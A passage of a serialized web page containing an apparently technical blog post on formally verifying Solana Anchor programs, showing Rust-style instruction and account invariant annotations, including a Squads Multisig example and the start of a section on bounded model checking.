...\n",{"type":23,"tag":139,"props":18349,"children":18350},{"class":141,"line":187},[18351],{"type":23,"tag":139,"props":18352,"children":18353},{"style":259},[18354],{"type":28,"value":1897},{"type":23,"tag":90,"props":18356,"children":18357},{},[18358],{"type":23,"tag":24,"props":18359,"children":18360},{},[18361,18362,18367,18369,18374,18376,18381],{"type":28,"value":14625},{"type":23,"tag":135,"props":18363,"children":18365},{"className":18364},[],[18366],{"type":28,"value":18169},{"type":28,"value":18368}," expression specifies ",{"type":23,"tag":659,"props":18370,"children":18371},{},[18372],{"type":28,"value":18373},"succifient",{"type":28,"value":18375}," but not ",{"type":23,"tag":659,"props":18377,"children":18378},{},[18379],{"type":28,"value":18380},"necessary",{"type":28,"value":18382}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":16800,"props":18384,"children":18385},{},[],{"type":23,"tag":24,"props":18387,"children":18388},{},[18389,18391,18396],{"type":28,"value":18390},"Another example is that for ",{"type":23,"tag":659,"props":18392,"children":18393},{},[18394],{"type":28,"value":18395},"crank",{"type":28,"value":18397}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":128,"props":18399,"children":18401},{"code":18400,"language":947,"meta":7,"className":948,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[18402],{"type":23,"tag":135,"props":18403,"children":18404},{"__ignoreMap":7},[18405,18413,18467,18474],{"type":23,"tag":139,"props":18406,"children":18407},{"class":141,"line":142},[18408],{"type":23,"tag":139,"props":18409,"children":18410},{"style":259},[18411],{"type":28,"value":18412},"#[succeeds_if(true)]\n",{"type":23,"tag":139,"props":18414,"children":18415},{"class":141,"line":151},[18416,18420,18425,18429,18433,18437,18441,18445,18450,18455,18459,18463],{"type":23,"tag":139,"props":18417,"children":18418},{"style":279},[18419],{"type":28,"value":18274},{"type":23,"tag":139,"props":18421,"children":18422},{"style":245},[18423],{"type":28,"value":18424}," my_crank",{"type":23,"tag":139,"props":18426,"children":18427},{"style":259},[18428],{"type":28,"value":262},{"type":23,"tag":139,"props":18430,"children":18431},{"style":294},[18432],{"type":28,"value":18288},{"type":23,"tag":139,"props":18434,"children":18435},{"style":982},[18436],{"type":28,"value":2493},{"type":23,"tag":139,"props":18438,"children":18439},{"style":305},[18440],{"type":28,"value":18297},{"type":23,"tag":139,"props":18442,"children":18443},{"style":259},[18444],{"type":28,"value":3808},{"type":23,"tag":139,"props":18446,"children":18447},{"style":305},[18448],{"type":28,"value":18449},"Crank",{"type":23,"tag":139,"props":18451,"children":18452},{"style":259},[18453],{"type":28,"value":18454},">) ",{"type":23,"tag":139,"props":18456,"children":18457},{"style":982},[18458],{"type":28,"value":11768},{"type":23,"tag":139,"props":18460,"children":18461},{"style":305},[18462],{"type":28,"value":11773},{"type":23,"tag":139,"props":18464,"children":18465},{"style":259},[18466],{"type":28,"value":18339},{"type":23,"tag":139,"props":18468,"children":18469},{"class":141,"line":160},[18470],{"type":23,"tag":139,"props":18471,"children":18472},{"style":982},[18473],{"type":28,"value":18347},{"type":23,"tag":139,"props":18475,"children":18476},{"class":141,"line":169},[18477],{"type":23,"tag":139,"props":18478,"children":18479},{"style":259},[18480],{"type":28,"value":1897},{"type":23,"tag":24,"props":18482,"children":18483},{},[18484,18486,18490,18492,18498],{"type":28,"value":18485},"With this invariant, you could prove that the function ",{"type":23,"tag":659,"props":18487,"children":18488},{},[18489],{"type":28,"value":11105},{"type":28,"value":18491}," returns ",{"type":23,"tag":135,"props":18493,"children":18495},{"className":18494},[],[18496],{"type":28,"value":18497},"Ok",{"type":28,"value":18499},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":16800,"props":18501,"children":18502},{},[],{"type":23,"tag":24,"props":18504,"children":18505},{},[18506,18508,18513,18514,18519,18521,18526,18528,18533,18535,18540],{"type":28,"value":18507},"Note that ",{"type":23,"tag":135,"props":18509,"children":18511},{"className":18510},[],[18512],{"type":28,"value":18162},{"type":28,"value":9002},{"type":23,"tag":135,"props":18515,"children":18517},{"className":18516},[],[18518],{"type":28,"value":18169},{"type":28,"value":18520}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":135,"props":18522,"children":18524},{"className":18523},[],[18525],{"type":28,"value":18162},{"type":28,"value":18527}," is not satisfied and a function may fail even if ",{"type":23,"tag":135,"props":18529,"children":18531},{"className":18530},[],[18532],{"type":28,"value":18169},{"type":28,"value":18534}," is not satisfied. If you want to prove the ",{"type":23,"tag":659,"props":18536,"children":18537},{},[18538],{"type":28,"value":18539},"exact condition",{"type":28,"value":18541}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":128,"props":18543,"children":18545},{"code":18544,"language":947,"meta":7,"className":948,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[18546],{"type":23,"tag":135,"props":18547,"children":18548},{"__ignoreMap":7},[18549,18593,18600,18617,18643,18695,18702],{"type":23,"tag":139,"props":18550,"children":18551},{"class":141,"line":142},[18552,18556,18561,18565,18569,18573,18577,18581,18585,18589],{"type":23,"tag":139,"props":18553,"children":18554},{"style":279},[18555],{"type":28,"value":18274},{"type":23,"tag":139,"props":18557,"children":18558},{"style":245},[18559],{"type":28,"value":18560}," my_invariant",{"type":23,"tag":139,"props":18562,"children":18563},{"style":259},[18564],{"type":28,"value":262},{"type":23,"tag":139,"props":18566,"children":18567},{"style":982},[18568],{"type":28,"value":7599},{"type":23,"tag":139,"props":18570,"children":18571},{"style":259},[18572],{"type":28,"value":1062},{"type":23,"tag":139,"props":18574,"children":18575},{"style":982},[18576],{"type":28,"value":11768},{"type":23,"tag":139,"props":18578,"children":18579},{"style":305},[18580],{"type":28,"value":10061},{"type":23,"tag":139,"props":18582,"children":18583},{"style":259},[18584],{"type":28,"value":7594},{"type":23,"tag":139,"props":18586,"children":18587},{"style":982},[18588],{"type":28,"value":7599},{"type":23,"tag":139,"props":18590,"children":18591},{"style":259},[18592],{"type":28,"value":7604},{"type":23,"tag":139,"props":18594,"children":18595},{"class":141,"line":151},[18596],{"type":23,"tag":139,"props":18597,"children":18598},{"emptyLinePlaceholder":15},[18599],{"type":28,"value":184},{"type":23,"tag":139,"props":18601,"children":18602},{"class":141,"line":160},[18603,18608,18612],{"type":23,"tag":139,"props":18604,"children":18605},{"style":259},[18606],{"type":28,"value":18607},"#[succeeds_if(my_invariant(",{"type":23,"tag":139,"props":18609,"children":18610},{"style":982},[18611],{"type":28,"value":7599},{"type":23,"tag":139,"props":18613,"children":18614},{"style":259},[18615],{"type":28,"value":18616},"))]\n",{"type":23,"tag":139,"props":18618,"children":18619},{"class":141,"line":169},[18620,18625,18630,18635,18639],{"type":23,"tag":139,"props":18621,"children":18622},{"style":259},[18623],{"type":28,"value":18624},"#[errors_if(",{"type":23,"tag":139,"props":18626,"children":18627},{"style":982},[18628],{"type":28,"value":18629},"!",{"type":23,"tag":139,"props":18631,"children":18632},{"style":259},[18633],{"type":28,"value":18634},"my_invariant(",{"type":23,"tag":139,"props":18636,"children":18637},{"style":982},[18638],{"type":28,"value":7599},{"type":23,"tag":139,"props":18640,"children":18641},{"style":259},[18642],{"type":28,"value":18616},{"type":23,"tag":139,"props":18644,"children":18645},{"class":141,"line":178},[18646,18650,18655,18659,18663,18667,18671,18675,18679,18683,18687,18691],{"type":23,"tag":139,"props":18647,"children":18648},{"style":279},[18649],{"type":28,"value":18274},{"type":23,"tag":139,"props":18651,"children":18652},{"style":245},[18653],{"type":28,"value":18654}," my_instruction",{"type":23,"tag":139,"props":18656,"children":18657},{"style":259},[18658],{"type":28,"value":262},{"type":23,"tag":139,"props":18660,"children":18661},{"style":294},[18662],{"type":28,"value":18288},{"type":23,"tag":139,"props":18664,"children":18665},{"style":982},[18666],{"type":28,"value":2493},{"type":23,"tag":139,"props":18668,"children":18669},{"style":305},[18670],{"type":28,"value":18297},{"type":23,"tag":139,"props":18672,"children":18673},{"style":259},[18674],{"type":28,"value":3808},{"type":23,"tag":139,"props":18676,"children":18677},{"style":982},[18678],{"type":28,"value":7599},{"type":23,"tag":139,"props":18680,"children":18681},{"style":259},[18682],{"type":28,"value":18454},{"type":23,"tag":139,"props":18684,"children":18685},{"style":982},[18686],{"type":28,"value":11768},{"type":23,"tag":139,"props":18688,"children":18689},{"style":305},[18690],{"type":28,"value":11773},{"type":23,"tag":139,"props":18692,"children":18693},{"style":259},[18694],{"type":28,"value":18339},{"type":23,"tag":139,"props":18696,"children":18697},{"class":141,"line":187},[18698],{"type":23,"tag":139,"props":18699,"children":18700},{"style":982},[18701],{"type":28,"value":18347},{"type":23,"tag":139,"props":18703,"children":18704},{"class":141,"line":196},[18705],{"type":23,"tag":139,"props":18706,"children":18707},{"style":259},[18708],{"type":28,"value":1897},{"type":23,"tag":24,"props":18710,"children":18711},{},[18712],{"type":28,"value":18713},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":16900,"props":18715,"children":18717},{"id":18716},"account-invariants",[18718],{"type":28,"value":18719},"Account Invariants",{"type":23,"tag":24,"props":18721,"children":18722},{},[18723,18725,18730],{"type":28,"value":18724},"The other type of invariant is an ",{"type":23,"tag":56,"props":18726,"children":18727},{},[18728],{"type":28,"value":18729},"Account Invariant",{"type":28,"value":18731},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":24,"props":18733,"children":18734},{},[18735,18737,18742,18743,18749],{"type":28,"value":18736},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":135,"props":18738,"children":18740},{"className":18739},[],[18741],{"type":28,"value":1713},{"type":28,"value":11145},{"type":23,"tag":135,"props":18744,"children":18746},{"className":18745},[],[18747],{"type":28,"value":18748},"init",{"type":28,"value":18750},").",{"type":23,"tag":24,"props":18752,"children":18753},{},[18754,18756,18762],{"type":28,"value":18755},"For example, given a mock ",{"type":23,"tag":135,"props":18757,"children":18759},{"className":18758},[],[18760],{"type":28,"value":18761},"UserStatement",{"type":28,"value":18763}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":128,"props":18765,"children":18767},{"code":18766,"language":947,"meta":7,"className":948,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[18768],{"type":23,"tag":135,"props":18769,"children":18770},{"__ignoreMap":7},[18771,18779,18787,18821,18828,18844,18870,18894,18918],{"type":23,"tag":139,"props":18772,"children":18773},{"class":141,"line":142},[18774],{"type":23,"tag":139,"props":18775,"children":18776},{"style":259},[18777],{"type":28,"value":18778},"#[account]\n",{"type":23,"tag":139,"props":18780,"children":18781},{"class":141,"line":151},[18782],{"type":23,"tag":139,"props":18783,"children":18784},{"style":259},[18785],{"type":28,"value":18786},"#[invariant(\n",{"type":23,"tag":139,"props":18788,"children":18789},{"class":141,"line":160},[18790,18795,18799,18804,18808,18812,18816],{"type":23,"tag":139,"props":18791,"children":18792},{"style":259},[18793],{"type":28,"value":18794},"    self",{"type":23,"tag":139,"props":18796,"children":18797},{"style":982},[18798],{"type":28,"value":73},{"type":23,"tag":139,"props":18800,"children":18801},{"style":259},[18802],{"type":28,"value":18803},"assets ",{"type":23,"tag":139,"props":18805,"children":18806},{"style":982},[18807],{"type":28,"value":7952},{"type":23,"tag":139,"props":18809,"children":18810},{"style":259},[18811],{"type":28,"value":11808},{"type":23,"tag":139,"props":18813,"children":18814},{"style":982},[18815],{"type":28,"value":73},{"type":23,"tag":139,"props":18817,"children":18818},{"style":259},[18819],{"type":28,"value":18820},"liabilities\n",{"type":23,"tag":139,"props":18822,"children":18823},{"class":141,"line":169},[18824],{"type":23,"tag":139,"props":18825,"children":18826},{"style":259},[18827],{"type":28,"value":18266},{"type":23,"tag":139,"props":18829,"children":18830},{"class":141,"line":178},[18831,18835,18840],{"type":23,"tag":139,"props":18832,"children":18833},{"style":279},[18834],{"type":28,"value":7409},{"type":23,"tag":139,"props":18836,"children":18837},{"style":305},[18838],{"type":28,"value":18839}," UserStatement",{"type":23,"tag":139,"props":18841,"children":18842},{"style":259},[18843],{"type":28,"value":1268},{"type":23,"tag":139,"props":18845,"children":18846},{"class":141,"line":187},[18847,18852,18857,18861,18866],{"type":23,"tag":139,"props":18848,"children":18849},{"style":279},[18850],{"type":28,"value":18851},"    pub",{"type":23,"tag":139,"props":18853,"children":18854},{"style":294},[18855],{"type":28,"value":18856}," owner",{"type":23,"tag":139,"props":18858,"children":18859},{"style":982},[18860],{"type":28,"value":2493},{"type":23,"tag":139,"props":18862,"children":18863},{"style":305},[18864],{"type":28,"value":18865}," Pubkey",{"type":23,"tag":139,"props":18867,"children":18868},{"style":259},[18869],{"type":28,"value":1488},{"type":23,"tag":139,"props":18871,"children":18872},{"class":141,"line":196},[18873,18877,18882,18886,18890],{"type":23,"tag":139,"props":18874,"children":18875},{"style":279},[18876],{"type":28,"value":18851},{"type":23,"tag":139,"props":18878,"children":18879},{"style":294},[18880],{"type":28,"value":18881}," assets",{"type":23,"tag":139,"props":18883,"children":18884},{"style":982},[18885],{"type":28,"value":2493},{"type":23,"tag":139,"props":18887,"children":18888},{"style":305},[18889],{"type":28,"value":3862},{"type":23,"tag":139,"props":18891,"children":18892},{"style":259},[18893],{"type":28,"value":1488},{"type":23,"tag":139,"props":18895,"children":18896},{"class":141,"line":205},[18897,18901,18906,18910,18914],{"type":23,"tag":139,"props":18898,"children":18899},{"style":279},[18900],{"type":28,"value":18851},{"type":23,"tag":139,"props":18902,"children":18903},{"style":294},[18904],{"type":28,"value":18905}," liabilities",{"type":23,"tag":139,"props":18907,"children":18908},{"style":982},[18909],{"type":28,"value":2493},{"type":23,"tag":139,"props":18911,"children":18912},{"style":305},[18913],{"type":28,"value":3862},{"type":23,"tag":139,"props":18915,"children":18916},{"style":259},[18917],{"type":28,"value":1488},{"type":23,"tag":139,"props":18919,"children":18920},{"class":141,"line":214},[18921],{"type":23,"tag":139,"props":18922,"children":18923},{"style":259},[18924],{"type":28,"value":1897},{"type":23,"tag":24,"props":18926,"children":18927},{},[18928,18930,18935],{"type":28,"value":18929},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":135,"props":18931,"children":18933},{"className":18932},[],[18934],{"type":28,"value":18761},{"type":28,"value":18936}," is created or modified.",{"type":23,"tag":24,"props":18938,"children":18939},{},[18940,18942,18948],{"type":28,"value":18941},"In another example, we developed the following invariant for the ",{"type":23,"tag":64,"props":18943,"children":18945},{"href":16831,"rel":18944},[68],[18946],{"type":28,"value":18947},"Squads Multisig",{"type":28,"value":18949}," wallet account:",{"type":23,"tag":128,"props":18951,"children":18953},{"code":18952,"language":947,"meta":7,"className":948,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[18954],{"type":23,"tag":135,"props":18955,"children":18956},{"__ignoreMap":7},[18957,18964,18971,19001,19060,19089,19141,19148,19169,19199,19229,19259,19288,19318,19348,19377,19417],{"type":23,"tag":139,"props":18958,"children":18959},{"class":141,"line":142},[18960],{"type":23,"tag":139,"props":18961,"children":18962},{"style":259},[18963],{"type":28,"value":18778},{"type":23,"tag":139,"props":18965,"children":18966},{"class":141,"line":151},[18967],{"type":23,"tag":139,"props":18968,"children":18969},{"style":259},[18970],{"type":28,"value":18786},{"type":23,"tag":139,"props":18972,"children":18973},{"class":141,"line":160},[18974,18979,18983,18987,18992,18996],{"type":23,"tag":139,"props":18975,"children":18976},{"style":982},[18977],{"type":28,"value":18978},"    !",{"type":23,"tag":139,"props":18980,"children":18981},{"style":259},[18982],{"type":28,"value":11724},{"type":23,"tag":139,"props":18984,"children":18985},{"style":982},[18986],{"type":28,"value":73},{"type":23,"tag":139,"props":18988,"children":18989},{"style":259},[18990],{"type":28,"value":18991},"keys",{"type":23,"tag":139,"props":18993,"children":18994},{"style":982},[18995],{"type":28,"value":73},{"type":23,"tag":139,"props":18997,"children":18998},{"style":259},[18999],{"type":28,"value":19000},"is_empty()\n",{"type":23,"tag":139,"props":19002,"children":19003},{"class":141,"line":169},[19004,19008,19013,19017,19021,19025,19030,19034,19039,19043,19048,19052,19056],{"type":23,"tag":139,"props":19005,"children":19006},{"style":982},[19007],{"type":28,"value":13632},{"type":23,"tag":139,"props":19009,"children":19010},{"style":259},[19011],{"type":28,"value":19012}," (self",{"type":23,"tag":139,"props":19014,"children":19015},{"style":982},[19016],{"type":28,"value":73},{"type":23,"tag":139,"props":19018,"children":19019},{"style":259},[19020],{"type":28,"value":18991},{"type":23,"tag":139,"props":19022,"children":19023},{"style":982},[19024],{"type":28,"value":73},{"type":23,"tag":139,"props":19026,"children":19027},{"style":259},[19028],{"type":28,"value":19029},"len() ",{"type":23,"tag":139,"props":19031,"children":19032},{"style":982},[19033],{"type":28,"value":17423},{"type":23,"tag":139,"props":19035,"children":19036},{"style":305},[19037],{"type":28,"value":19038}," u16",{"type":23,"tag":139,"props":19040,"children":19041},{"style":982},[19042],{"type":28,"value":1461},{"type":23,"tag":139,"props":19044,"children":19045},{"style":305},[19046],{"type":28,"value":19047},"MAX",{"type":23,"tag":139,"props":19049,"children":19050},{"style":279},[19051],{"type":28,"value":6833},{"type":23,"tag":139,"props":19053,"children":19054},{"style":305},[19055],{"type":28,"value":11742},{"type":23,"tag":139,"props":19057,"children":19058},{"style":259},[19059],{"type":28,"value":273},{"type":23,"tag":139,"props":19061,"children":19062},{"class":141,"line":178},[19063,19067,19071,19075,19080,19084],{"type":23,"tag":139,"props":19064,"children":19065},{"style":982},[19066],{"type":28,"value":13632},{"type":23,"tag":139,"props":19068,"children":19069},{"style":259},[19070],{"type":28,"value":19012},{"type":23,"tag":139,"props":19072,"children":19073},{"style":982},[19074],{"type":28,"value":73},{"type":23,"tag":139,"props":19076,"children":19077},{"style":259},[19078],{"type":28,"value":19079},"threshold ",{"type":23,"tag":139,"props":19081,"children":19082},{"style":982},[19083],{"type":28,"value":7952},{"type":23,"tag":139,"props":19085,"children":19086},{"style":259},[19087],{"type":28,"value":19088}," 1)\n",{"type":23,"tag":139,"props":19090,"children":19091},{"class":141,"line":187},[19092,19096,19100,19104,19108,19112,19116,19120,19124,19128,19132,19136],{"type":23,"tag":139,"props":19093,"children":19094},{"style":982},[19095],{"type":28,"value":13632},{"type":23,"tag":139,"props":19097,"children":19098},{"style":259},[19099],{"type":28,"value":19012},{"type":23,"tag":139,"props":19101,"children":19102},{"style":982},[19103],{"type":28,"value":73},{"type":23,"tag":139,"props":19105,"children":19106},{"style":259},[19107],{"type":28,"value":19079},{"type":23,"tag":139,"props":19109,"children":19110},{"style":279},[19111],{"type":28,"value":6847},{"type":23,"tag":139,"props":19113,"children":19114},{"style":305},[19115],{"type":28,"value":11742},{"type":23,"tag":139,"props":19117,"children":19118},{"style":982},[19119],{"type":28,"value":6201},{"type":23,"tag":139,"props":19121,"children":19122},{"style":259},[19123],{"type":28,"value":11808},{"type":23,"tag":139,"props":19125,"children":19126},{"style":982},[19127],{"type":28,"value":73},{"type":23,"tag":139,"props":19129,"children":19130},{"style":259},[19131],{"type":28,"value":18991},{"type":23,"tag":139,"props":19133,"children":19134},{"style":982},[19135],{"type":28,"value":73},{"type":23,"tag":139,"props":19137,"children":19138},{"style":259},[19139],{"type":28,"value":19140},"len())\n",{"type":23,"tag":139,"props":19142,"children":19143},{"class":141,"line":196},[19144],{"type":23,"tag":139,"props":19145,"children":19146},{"style":259},[19147],{"type":28,"value":18266},{"type":23,"tag":139,"props":19149,"children":19150},{"class":141,"line":205},[19151,19155,19160,19165],{"type":23,"tag":139,"props":19152,"children":19153},{"style":279},[19154],{"type":28,"value":11701},{"type":23,"tag":139,"props":19156,"children":19157},{"style":279},[19158],{"type":28,"value":19159}," struct",{"type":23,"tag":139,"props":19161,"children":19162},{"style":305},[19163],{"type":28,"value":19164}," Ms",{"type":23,"tag":139,"props":19166,"children":19167},{"style":259},[19168],{"type":28,"value":1268},{"type":23,"tag":139,"props":19170,"children":19171},{"class":141,"line":214},[19172,19176,19181,19185,19189,19194],{"type":23,"tag":139,"props":19173,"children":19174},{"style":279},[19175],{"type":28,"value":18851},{"type":23,"tag":139,"props":19177,"children":19178},{"style":294},[19179],{"type":28,"value":19180}," threshold",{"type":23,"tag":139,"props":19182,"children":19183},{"style":982},[19184],{"type":28,"value":2493},{"type":23,"tag":139,"props":19186,"children":19187},{"style":305},[19188],{"type":28,"value":19038},{"type":23,"tag":139,"props":19190,"children":19191},{"style":259},[19192],{"type":28,"value":19193},",               ",{"type":23,"tag":139,"props":19195,"children":19196},{"style":958},[19197],{"type":28,"value":19198},"// threshold for signatures\n",{"type":23,"tag":139,"props":19200,"children":19201},{"class":141,"line":1320},[19202,19206,19211,19215,19219,19224],{"type":23,"tag":139,"props":19203,"children":19204},{"style":279},[19205],{"type":28,"value":18851},{"type":23,"tag":139,"props":19207,"children":19208},{"style":294},[19209],{"type":28,"value":19210}," authority_index",{"type":23,"tag":139,"props":19212,"children":19213},{"style":982},[19214],{"type":28,"value":2493},{"type":23,"tag":139,"props":19216,"children":19217},{"style":305},[19218],{"type":28,"value":19038},{"type":23,"tag":139,"props":19220,"children":19221},{"style":259},[19222],{"type":28,"value":19223},",         ",{"type":23,"tag":139,"props":19225,"children":19226},{"style":958},[19227],{"type":28,"value":19228},"// index to seed other authorities under this multisig\n",{"type":23,"tag":139,"props":19230,"children":19231},{"class":141,"line":1329},[19232,19236,19241,19245,19249,19254],{"type":23,"tag":139,"props":19233,"children":19234},{"style":279},[19235],{"type":28,"value":18851},{"type":23,"tag":139,"props":19237,"children":19238},{"style":294},[19239],{"type":28,"value":19240}," transaction_index",{"type":23,"tag":139,"props":19242,"children":19243},{"style":982},[19244],{"type":28,"value":2493},{"type":23,"tag":139,"props":19246,"children":19247},{"style":305},[19248],{"type":28,"value":15562},{"type":23,"tag":139,"props":19250,"children":19251},{"style":259},[19252],{"type":28,"value":19253},",       ",{"type":23,"tag":139,"props":19255,"children":19256},{"style":958},[19257],{"type":28,"value":19258},"// look up and seed reference for transactions\n",{"type":23,"tag":139,"props":19260,"children":19261},{"class":141,"line":1580},[19262,19266,19271,19275,19279,19283],{"type":23,"tag":139,"props":19263,"children":19264},{"style":279},[19265],{"type":28,"value":18851},{"type":23,"tag":139,"props":19267,"children":19268},{"style":294},[19269],{"type":28,"value":19270}," ms_change_index",{"type":23,"tag":139,"props":19272,"children":19273},{"style":982},[19274],{"type":28,"value":2493},{"type":23,"tag":139,"props":19276,"children":19277},{"style":305},[19278],{"type":28,"value":15562},{"type":23,"tag":139,"props":19280,"children":19281},{"style":259},[19282],{"type":28,"value":19223},{"type":23,"tag":139,"props":19284,"children":19285},{"style":958},[19286],{"type":28,"value":19287},"// the last executed/closed transaction\n",{"type":23,"tag":139,"props":19289,"children":19290},{"class":141,"line":1597},[19291,19295,19300,19304,19308,19313],{"type":23,"tag":139,"props":19292,"children":19293},{"style":279},[19294],{"type":28,"value":18851},{"type":23,"tag":139,"props":19296,"children":19297},{"style":294},[19298],{"type":28,"value":19299}," bump",{"type":23,"tag":139,"props":19301,"children":19302},{"style":982},[19303],{"type":28,"value":2493},{"type":23,"tag":139,"props":19305,"children":19306},{"style":305},[19307],{"type":28,"value":12645},{"type":23,"tag":139,"props":19309,"children":19310},{"style":259},[19311],{"type":28,"value":19312},",                     ",{"type":23,"tag":139,"props":19314,"children":19315},{"style":958},[19316],{"type":28,"value":19317},"// bump for the multisig seed\n",{"type":23,"tag":139,"props":19319,"children":19320},{"class":141,"line":1614},[19321,19325,19330,19334,19338,19343],{"type":23,"tag":139,"props":19322,"children":19323},{"style":279},[19324],{"type":28,"value":18851},{"type":23,"tag":139,"props":19326,"children":19327},{"style":294},[19328],{"type":28,"value":19329}," create_key",{"type":23,"tag":139,"props":19331,"children":19332},{"style":982},[19333],{"type":28,"value":2493},{"type":23,"tag":139,"props":19335,"children":19336},{"style":305},[19337],{"type":28,"value":18865},{"type":23,"tag":139,"props":19339,"children":19340},{"style":259},[19341],{"type":28,"value":19342},",           ",{"type":23,"tag":139,"props":19344,"children":19345},{"style":958},[19346],{"type":28,"value":19347},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":139,"props":19349,"children":19350},{"class":141,"line":1627},[19351,19355,19360,19364,19368,19372],{"type":23,"tag":139,"props":19352,"children":19353},{"style":279},[19354],{"type":28,"value":18851},{"type":23,"tag":139,"props":19356,"children":19357},{"style":294},[19358],{"type":28,"value":19359}," allow_external_execute",{"type":23,"tag":139,"props":19361,"children":19362},{"style":982},[19363],{"type":28,"value":2493},{"type":23,"tag":139,"props":19365,"children":19366},{"style":305},[19367],{"type":28,"value":10061},{"type":23,"tag":139,"props":19369,"children":19370},{"style":259},[19371],{"type":28,"value":1052},{"type":23,"tag":139,"props":19373,"children":19374},{"style":958},[19375],{"type":28,"value":19376},"// allow non-member keys to execute txs\n",{"type":23,"tag":139,"props":19378,"children":19379},{"class":141,"line":1636},[19380,19384,19389,19393,19398,19402,19407,19412],{"type":23,"tag":139,"props":19381,"children":19382},{"style":279},[19383],{"type":28,"value":18851},{"type":23,"tag":139,"props":19385,"children":19386},{"style":294},[19387],{"type":28,"value":19388}," keys",{"type":23,"tag":139,"props":19390,"children":19391},{"style":982},[19392],{"type":28,"value":2493},{"type":23,"tag":139,"props":19394,"children":19395},{"style":305},[19396],{"type":28,"value":19397}," Vec",{"type":23,"tag":139,"props":19399,"children":19400},{"style":259},[19401],{"type":28,"value":3808},{"type":23,"tag":139,"props":19403,"children":19404},{"style":305},[19405],{"type":28,"value":19406},"Pubkey",{"type":23,"tag":139,"props":19408,"children":19409},{"style":259},[19410],{"type":28,"value":19411},">,            ",{"type":23,"tag":139,"props":19413,"children":19414},{"style":958},[19415],{"type":28,"value":19416},"// keys of the members\n",{"type":23,"tag":139,"props":19418,"children":19419},{"class":141,"line":1659},[19420],{"type":23,"tag":139,"props":19421,"children":19422},{"style":259},[19423],{"type":28,"value":1897},{"type":23,"tag":24,"props":19425,"children":19426},{},[19427],{"type":28,"value":19428},"Here we are verifying multiple things at once:",{"type":23,"tag":14699,"props":19430,"children":19431},{},[19432,19443,19454,19465],{"type":23,"tag":801,"props":19433,"children":19434},{},[19435,19441],{"type":23,"tag":135,"props":19436,"children":19438},{"className":19437},[],[19439],{"type":28,"value":19440},"!self.keys.is_empty()",{"type":28,"value":19442}," : ensure there is at least one member",{"type":23,"tag":801,"props":19444,"children":19445},{},[19446,19452],{"type":23,"tag":135,"props":19447,"children":19449},{"className":19448},[],[19450],{"type":28,"value":19451},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":19453}," : set an upper limit of 65535 members",{"type":23,"tag":801,"props":19455,"children":19456},{},[19457,19463],{"type":23,"tag":135,"props":19458,"children":19460},{"className":19459},[],[19461],{"type":28,"value":19462},"self.threshold >= 1",{"type":28,"value":19464}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":801,"props":19466,"children":19467},{},[19468,19474],{"type":23,"tag":135,"props":19469,"children":19471},{"className":19470},[],[19472],{"type":28,"value":19473},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":19475}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":41,"props":19477,"children":19479},{"id":19478},"verification-how-do-we-check-that-our-model-is-correct",[19480],{"type":28,"value":19481},"Verification: How do we check that our model is correct?",{"type":23,"tag":24,"props":19483,"children":19484},{},[19485,19487,19491,19493,19498],{"type":28,"value":19486},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":659,"props":19488,"children":19489},{},[19490],{"type":28,"value":17976},{"type":28,"value":19492}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":659,"props":19494,"children":19495},{},[19496],{"type":28,"value":19497},"automagically",{"type":28,"value":19499}," for anchor-lang programs.",{"type":23,"tag":24,"props":19501,"children":19502},{},[19503,19505,19511,19513,19518,19520,19525,19526,19531,19533,19538,19540,19545,19546,19552,19554,19560,19561,19567],{"type":28,"value":19504},"Specifically, for a given ",{"type":23,"tag":135,"props":19506,"children":19508},{"className":19507},[],[19509],{"type":28,"value":19510},"Context\u003CT>",{"type":28,"value":19512}," with ",{"type":23,"tag":659,"props":19514,"children":19515},{},[19516],{"type":28,"value":19517},"incoming",{"type":28,"value":19519}," accounts of types (",{"type":23,"tag":135,"props":19521,"children":19523},{"className":19522},[],[19524],{"type":28,"value":18748},{"type":28,"value":2583},{"type":23,"tag":135,"props":19527,"children":19529},{"className":19528},[],[19530],{"type":28,"value":1713},{"type":28,"value":19532},") and ",{"type":23,"tag":659,"props":19534,"children":19535},{},[19536],{"type":28,"value":19537},"outgoing",{"type":28,"value":19539}," accounts of type 